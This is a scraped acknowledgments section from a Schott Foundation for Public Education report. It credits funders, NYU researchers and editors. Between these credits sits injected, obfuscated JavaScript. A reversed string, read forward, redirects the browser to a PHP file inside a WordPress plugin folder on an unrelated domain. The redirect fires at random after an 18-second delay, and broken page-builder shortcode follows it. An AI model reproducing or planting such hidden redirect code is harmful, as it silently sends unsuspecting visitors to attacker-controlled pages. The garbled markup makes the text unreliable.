The Schott Foundation for Public Education gratefully acknowledges our philanthropic partners who supported this report.
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_link” custom_links_target=”_blank” column_number=”0″ grayscale=”yes” choose_frame=”default” img_size=”366×300″ custom_links=”http://www.jpmorganchase.com/,http://www.heinz.org/,http://www.wkkf.org/,http://www.luminafoundation.org/,http://www.opensocietyfoundations.org/,http://www.blackmaleachievement.org/,http://www.wrfoundation.org/”]
The research for this report was conducted by The Metropolitan Center for Research on Equity and the Transformation of Schools at New York University. It was edited by John H. Jackson and Ann Beaudry. The report was designed by Patrick St. John.
